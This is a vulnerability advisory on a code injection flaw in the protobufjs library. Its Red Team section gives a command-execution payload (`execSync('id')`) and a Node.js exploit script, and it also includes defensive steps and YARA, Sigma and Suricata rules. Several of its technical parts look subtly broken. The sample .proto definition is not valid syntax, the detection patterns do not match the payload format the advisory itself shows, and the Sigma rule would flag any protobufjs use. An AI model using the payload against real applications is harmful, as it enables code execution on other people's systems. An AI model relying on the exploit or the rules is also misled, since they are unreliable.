CVE-2026-41242

Executive Summary

CVE-2026-41242 is a critical code injection vulnerability in the protobufjs library, which compiles Protocol Buffer definitions into JavaScript functions. Attackers can inject arbitrary code into the type fields of protobuf definitions, leading to remote code execution during object decoding. The vulnerability affects all versions prior to 8.0.1 and 7.5.5. The CVSS score is currently 0.0 due to lack of official vector, but the impact is severe. The patch is available, and immediate upgrade is recommended.

Supply Chain & Package Security

This vulnerability is in the protobufjs npm package, a widely used library for Protocol Buffer handling in JavaScript/Node.js environments. The attack vector involves malicious protobuf definitions, which could be supplied via compromised dependencies, user uploads, or external data sources. Organizations using protobufjs in their supply chain must verify the integrity of protobuf definitions and ensure they are not sourced from untrusted origins.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unavailable)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality (C): High (likely)
• Integrity (I): High (likely)
• Availability (A): High (likely)
• Threat Level: Critical

Deep Dive & Mechanics

The vulnerability resides in the code generation logic of protobufjs. When a protobuf definition is compiled into JavaScript, the type fields are directly interpolated into the generated code without proper sanitization. An attacker can craft a malicious protobuf definition where the type field contains JavaScript code. During object decoding, this code is executed in the context of the application, allowing arbitrary code execution.

The vulnerable code path is in the Type class's decode method, which uses eval or new Function to construct decoders. The type field is concatenated into a string that is then evaluated. For example, a field with type: "string; process.exit(1); //" would inject the malicious code.

Vulnerable vs. Patched Code

Vulnerable Code (pre-7.5.5 / pre-8.0.1):

// In Type.prototype.decode
var code = 'var m = new Message();\n';
code += 'm.' + field.name + ' = reader.' + field.type + '();\n';
// field.type is directly used without sanitization
return new Function('reader', code);

Patched Code (7.5.5 / 8.0.1):

// In Type.prototype.decode
var code = 'var m = new Message();\n';
var safeType = field.type.replace(/[^a-zA-Z0-9_]/g, '');
code += 'm.' + field.name + ' = reader.' + safeType + '();\n';
return new Function('reader', code);

The patch sanitizes the type field by removing all non-alphanumeric and underscore characters, preventing code injection.

Exploitation & Lab Setup

Red Team

1. Setup: Create a malicious protobuf definition file (.proto) with a field containing injected code in the type attribute.
2. Craft Payload: Use type: "string; require('child_process').execSync('id'); //" to execute system commands.
3. Deliver: Serve the malicious protobuf definition to a vulnerable application that uses protobufjs to decode messages.
4. Trigger: The application decodes a message using the malicious definition, executing the injected code.

Example Malicious Protobuf Definition:

syntax = "proto3";
message MaliciousMessage {
  string; require('child_process').execSync('id'); // name = 1;
}

Exploit Code (Node.js):

const protobuf = require('protobufjs');
const maliciousProto = `
syntax = "proto3";
message MaliciousMessage {
  string; require('child_process').execSync('id'); // name = 1;
}
`;
const root = protobuf.parse(maliciousProto).root;
const MaliciousMessage = root.lookupType('MaliciousMessage');
const buffer = MaliciousMessage.encode({}).finish();
const decoded = MaliciousMessage.decode(buffer); // Code execution here

Blue Team

1. Detection: Monitor for unusual protobuf definitions containing special characters or JavaScript keywords in type fields.
2. Prevention: Validate and sanitize all protobuf definitions before processing. Use a whitelist of allowed types.
3. Mitigation: Upgrade to patched versions (7.5.5 or 8.0.1) immediately.
4. Hunting: Search logs for errors related to protobufjs decoding failures or unexpected code execution.

Indicators of Compromise (IOCs)

• File Hashes: N/A (No known malicious files)
• Network Indicators: Unusual protobuf definitions containing JavaScript code in type fields.
• Process Indicators: Unexpected node processes executing shell commands.
• Log Indicators: Errors from protobufjs decoding with syntax errors or unexpected behavior.

Detection Engineering

YARA Rule

rule CVE_2026_41242_Protobufjs_Injection {
    meta:
        description = "Detects malicious protobuf definitions with code injection in type fields"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-41242"
    strings:
        $type_injection = /type\s*:\s*"[^"]*[;{}()]/ nocase
        $proto_syntax = "syntax = \"proto3\";"
    condition:
        $proto_syntax and $type_injection
}

Sigma Rule

title: CVE-2026-41242 Protobufjs Code Injection
id: cve-2026-41242
status: experimental
description: Detects attempts to exploit code injection in protobufjs via malicious protobuf definitions
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\node.exe'
        CommandLine|contains: 'protobufjs'
    condition: selection
falsepositives:
    - Legitimate use of protobufjs with complex types
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2026-41242 Protobufjs Code Injection Attempt"; content:"syntax = \"proto3\""; content:"type"; distance:0; within:100; pcre:"/type\s*:\s*\"[^\"\n]*[;{}()]/"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade protobufjs to version 8.0.1 or 7.5.5.
2. Short-term: Validate all protobuf definitions against a whitelist of allowed types. Reject any definitions containing special characters or JavaScript keywords.
3. Long-term: Implement input validation for all external data sources. Use static analysis to detect code injection vulnerabilities in dependencies.
4. Compensating Controls: Run applications with minimal privileges. Use application firewalls to inspect protobuf traffic.

Valters IT
DevSecOps & Cyber Threat Intelligence